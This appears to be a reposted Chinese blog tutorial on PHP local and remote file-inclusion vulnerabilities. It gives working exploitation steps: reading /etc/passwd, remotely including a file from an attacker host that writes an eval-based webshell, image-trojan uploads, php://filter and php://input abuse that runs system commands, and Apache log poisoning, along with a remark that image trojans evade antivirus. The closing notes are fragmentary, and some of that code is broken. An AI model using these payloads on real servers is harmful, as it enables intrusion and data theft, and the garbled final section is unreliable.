文件包含漏洞
Posted hou159656
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了文件包含漏洞相关的知识,希望对你有一定的参考价值。
在通过php的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄露甚至恶意的代码注入。
HP常见的导致文件包含的函数如下:include(),include_once(),require(),require_once(),fopen(),readfile()
使用前4个函数包含一个新的文件时,只要文件内容符合PHP语法规范,那么任何扩展名都可以被PHP解析。包含非PHP语法规范源文件时,将会暴露其源代码。
要想成功利用文件包含漏洞,需要满足下面两个条件:
1.include()等函数通过动态变量的方式引入需要包含的文件。
2.用户能够控制该动态变量
二、远程文件包含
如果PHP的配置选项allow_url_include为ON的话,则include/require函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞。
三、本地文件包含的利用技巧
1.读取敏感文件
访问URL:http://www.xxser.com/index.php?page=/etc/passwd
如果目标主机文件存在,并且有相应的权限,那么就可以读出文件的内容。反之,就会得到一个类似于;open_basedir restriction in effect的警告。
2.远程包含Shell
如果目标主机allow_url_fopen选项是激活的,就可以尝试远程包含一句话木马,如:http://www.attacker.com/echo.txt,代码如下:
<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[xxser]);?>");?>
访问:http://www.example.com/index.php?page=http://www.attacker.com/echo.txt。将会在index.php所在的目录下生成shell.php,内容为:
<?php eval($_POST[xxser]);?>
3.本地包含配合文件上传
假设已经上传一句话图片木马到服务器,路径为:/uploadfile/xxx.jpg
图片代码如下:<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[xxser]);?>");?>
访问URL:http://www.example.com/index.php?page=./uploadfile/xxx.jpg,包含这张图片,将会在index.php所在的目录下生成shell.php。
4.使用PHP封装协议
4.1 使用封装协议读取PHP文件
例子如下:http://www.example.com/index.php?page=php://filter/read=convert.base64-encode/resource=config.php
访问URL,得到经过Base64加密后的字符串,这段代码就是Base64加密过后的PHP源代码,解密后就可得到原本的“样貌”。
4.2 写入PHP文件
在allow_url_include为On时,构造URL:http://www.example.com/index.php?page=php://input,并且提交数据为:<?php system(‘net user‘);?>
会得到net user命令的结果。
5.包含Apache日志文件
本地文件包含的利用。
Apache有两个日志文件:access.log(访问日志)和error.log(错误日志)。
攻击者先访问http://www.example.com/<?php phpinfo();?>,操作这一步时,需要Burp,否则<,>,空格都会被转码。
随后访问http://www.xxser.com/index.php?page=./../Apache-20/logs/access.log
使用这种方式时,找到Apache的路径是关键。
图片木马一般不会被web杀毒软件查出来。
一句话木马
<?php eval()$_post[1]; ?>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
include "$_GET[pate]";
<?php
echo ‘<meta http-equiv="Content-Type" content="text/html;charset=utf8"/>‘;
include "$_GET[page]";
?>
新建 1.php文件 把一句话木马写进去 ,把文件放入网站的根目录 用?page= 111.txt 运行
http://127.0.0.1/11.php?page=ee.txt
php语言 问号后面表示变量
$a =$_get[‘page‘];
$a ="$_get[page]";
include $a;
<?php phpinfo();?>显示配置信息
条件 php.ini文件中有 allow_url_include=on
a="加密密码"
for i in a:
print(chr(ord(i)+几),end=‘‘)
http://10.1.2.5:17857/cs/main.php?page=php://filter/read=convert.base64-encode/resource=main.php
以上是关于文件包含漏洞的主要内容,如果未能解决你的问题,请参考以下文章